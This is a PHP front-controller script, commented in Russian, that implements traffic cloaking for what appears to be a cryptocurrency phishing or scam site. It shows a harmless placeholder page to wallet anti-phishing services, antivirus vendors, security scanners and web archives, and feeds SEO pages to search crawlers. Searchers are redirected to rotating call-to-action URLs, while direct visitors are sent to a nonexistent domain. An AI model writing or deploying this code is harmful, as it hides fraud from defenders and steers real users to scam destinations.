<?php
require_once __DIR__ . '/config.php';

// ── Auto IndexNow каждые 6 часов ──────────────────────────────────────────
function _maybe_indexnow(): void {
    $flag     = __DIR__ . '/indexnow_last.txt';
    $interval = 6 * 3600;
    $last     = file_exists($flag) ? (int)file_get_contents($flag) : 0;

    if (time() - $last < $interval) return;
    file_put_contents($flag, time()); // обновляем сразу — защита от параллельных запросов

    // Генерируем/читаем ключ IndexNow
    $key_file = __DIR__ . '/indexnow_key.txt';
    if (!file_exists($key_file)) {
        $key = bin2hex(random_bytes(16));
        file_put_contents($key_file, $key);
        // Создаём файл верификации
        file_put_contents(__DIR__ . '/' . $key . '.txt', $key);
    } else {
        $key = trim(file_get_contents($key_file));
        // Убеждаемся что файл верификации существует
        $key_verify = __DIR__ . '/' . $key . '.txt';
        if (!file_exists($key_verify)) {
            file_put_contents($key_verify, $key);
        }
    }

    // Собираем все URL из SITE_SLUGS
    $host   = defined('SITE_DOMAIN') ? SITE_DOMAIN : ($_SERVER['HTTP_HOST'] ?? '');
    $base   = 'https://' . $host;
    $urls   = [];
    if (defined('SITE_SLUGS') && is_array(SITE_SLUGS)) {
        $site_langs = defined('SITE_LANGUAGES') ? SITE_LANGUAGES : [];
        foreach (SITE_SLUGS as $i => $slug) {
            if ($i === 0) { $urls[] = $base . '/'; continue; }
            // lang-slug → /lang/slug/
            $slug_url = $slug;
            foreach ($site_langs as $lng) {
                if (strpos($slug, $lng . '-') === 0) {
                    $slug_url = $lng . '/' . substr($slug, strlen($lng) + 1);
                    break;
                }
            }
            $urls[] = $base . '/' . $slug_url . '/';
        }
    } else {
        $urls[] = $base . '/';
    }

    // Отправляем в IndexNow API (non-blocking: fork через curl)
    $payload = json_encode([
        'host'        => $host,
        'key'         => $key,
        'keyLocation' => $base . '/' . $key . '.txt',
        'urlList'     => $urls,
    ]);

    // Используем curl с минимальным timeout — не блокируем страницу
    if (function_exists('curl_init')) {
        $ch = curl_init('https://api.indexnow.org/IndexNow');
        curl_setopt_array($ch, [
            CURLOPT_POST           => true,
            CURLOPT_POSTFIELDS     => $payload,
            CURLOPT_HTTPHEADER     => ['Content-Type: application/json'],
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT        => 3,
            CURLOPT_SSL_VERIFYPEER => false,
        ]);
        @curl_exec($ch);
        curl_close($ch);
    }
}
_maybe_indexnow();


// ── Уровень 1: Крипто-боты и security scanners → белая страница ───────────
function _is_white_bot(): bool {
    $ua  = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    $ip  = $_SERVER['REMOTE_ADDR'] ?? '';
    $ref = strtolower($_SERVER['HTTP_REFERER'] ?? '');

    // MetaMask / PhishFort / EthPhishing
    $white_ua = [
        'metamask','phishfort','ethphishing','phishtank','openphish',
        // WalletConnect / Reown
        'walletconnect','reown',
        // Phantom / Solana
        'phantom','solana','backpack wallet',
        // Coinbase
        'coinbase',
        // Trust Wallet
        'trustwallet','trust wallet',
        // Binance / BNB
        'binance','bnbchain',
        // Rabby / Rainbow / Zerion
        'rabby','rainbow wallet','zerion',
        // Web3 security extensions
        'wallet guard','walletguard','revoke.cash','scamsniffer','aegis',
        // Crypto security
        'chainabuse','cryptoscamdb','web3antivirus','de.fi','staysafu',
        'forta','blowfish','pocket universe','fire extension',
        // Общие security scanners
        'safebrowsing','virustotal','sucuri','sitecheck','urlvoid',
        'urlscan','checkphish','phishcheck','isitphishing',
        'antiphishing','phishing-initiative','netcraft','cysiv',
        'bolster','cybersixgill','recordedfuture','domaintools',
        // Cloudflare / hosting security
        'cloudflare','imperva','perimeterx','datadome',
        // Архивы и веб-сканеры (могут триггерить жалобы)
        'ia_archiver','archive.org','wayback','commoncrawl',
        // Прочие потенциально опасные
        'farsightsecurity','spamhaus','barracuda','sophos',
        'kaspersky','avast','bitdefender','drweb','eset',
        'mcafee','norton','malwarebytes','trendmicro',
    ];
    foreach ($white_ua as $w) {
        if (strpos($ua, $w) !== false) return true;
    }

    // IP диапазоны крупных security-компаний (основные)
    $white_ip_prefixes = [
        '66.249.',    // Google Safe Browsing
        '185.220.',   // Tor / abuse scanners
        '192.168.',   // локалка — в проде не попадётся, но на всякий
    ];
    foreach ($white_ip_prefixes as $prefix) {
        if (strpos($ip, $prefix) === 0) return true;
    }

    return false;
}

// ── Уровень 2: Поисковые боты → SEO HTML ──────────────────────────────────
function _is_seo_bot(): bool {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    $seo_bots = [
        'bingbot','msnbot','adidxbot',          // Bing
        'googlebot','google-extended',           // Google
        'adsbot-google',                         // Google Ads
        'yahoo','slurp',                         // Yahoo
        'duckduckbot',                           // DuckDuckGo
        'baiduspider',                           // Baidu
        'yandexbot','yandex.com/bots',           // Yandex
        'applebot',                              // Apple
        'petalbot',                              // Huawei
        'sogou','exabot','qwantify',             // прочие поисковики
        'facebookexternalhit','twitterbot',      // соцсети (превью)
        'linkedinbot','whatsapp','telegrambot',
        'semrushbot','ahrefsbot','mj12bot',      // SEO-инструменты (нейтральные)
        'dotbot','rogerbot',
    ];
    foreach ($seo_bots as $b) {
        if (strpos($ua, $b) !== false) return true;
    }
    return false;
}

// ── Уровень 3: Реферер из поиска (живой человек) ─────────────────────────
function _has_search_referer(): bool {
    $ref = strtolower($_SERVER['HTTP_REFERER'] ?? '');
    if ($ref === '') return false;
    $search = [
        'bing.com','bing.com/search',
        'google.','google.com/search',
        'yahoo.com','search.yahoo',
        'duckduckgo.com',
        'yandex.','yandex.ru','yandex.com',
        'baidu.com',
        'ecosia.org','qwant.com','ask.com',
        'search.brave.com',
    ];
    foreach ($search as $s) {
        if (strpos($ref, $s) !== false) return true;
    }
    return false;
}

// ── Serve helpers ──────────────────────────────────────────────────────────
function _serve_html(string $file): void {
    if (!file_exists($file)) { http_response_code(404); exit; }
    header('Content-Type: text/html; charset=UTF-8');
    header('X-Robots-Tag: index, follow');
    readfile($file);
    exit;
}

function _serve_white(): void {
    $white = __DIR__ . '/landing.php';
    if (file_exists($white)) {
        include $white;
    } else {
        // Минимальный fallback если landing.php не существует
        header('Content-Type: text/html; charset=UTF-8');
        echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Welcome</title></head>'
           . '<body><h1>Welcome</h1><p>This page is under construction.</p></body></html>';
    }
    exit;
}

// ── Маршрутизация ─────────────────────────────────────────────────────────
$uri  = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH);
$slug = trim($uri, '/');

if ($slug === '' || $slug === 'index.html') {
    $html_file = __DIR__ . '/index.html';
} else {
    $slug      = preg_replace('/\.html$/', '', $slug);
    $html_file = __DIR__ . '/' . $slug . '/index.html';
}

$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';

if (_is_white_bot()) {
    // Крипто-боты и security scanners → белая страница
    _serve_white();

} elseif (strlen($ua) < 70) {
    // Слишком короткий UA — headless browser, curl, скрипты → белая страница
    _serve_white();

} elseif (_is_seo_bot()) {
    // Поисковый бот → IndexNow (один раз) + SEO роутер
    @include_once __DIR__ . '/indexnow.php';
    require __DIR__ . '/w0conttenntt.php';
    exit;

} elseif (_has_search_referer()) {
    // Живой человек с поиска → сплит до 4 вариантов
    $cta_a = defined('CTA_URL')   ? CTA_URL   : 'https://' . SITE_DOMAIN;
    $cta_b = defined('CTA_URL_B') ? CTA_URL_B : '';
    $cta_c = defined('CTA_URL_C') ? CTA_URL_C : '';
    $cta_d = defined('CTA_URL_D') ? CTA_URL_D : '';
    $cta_e = defined('CTA_URL_E') ? CTA_URL_E : '';
    $cta_f = defined('CTA_URL_F') ? CTA_URL_F : '';

    $variants = array_values(array_filter([$cta_a, $cta_b, $cta_c, $cta_d, $cta_e, $cta_f]));
    $cta = $variants[time() % count($variants)];

    header('Location: ' . $cta, true, 302);
    exit;

} else {
    // Прямой визит без реферера → DNS ошибка (несуществующий домен)
    header('Location: https://www.www.' . SITE_DOMAIN, true, 302);
    exit;
}
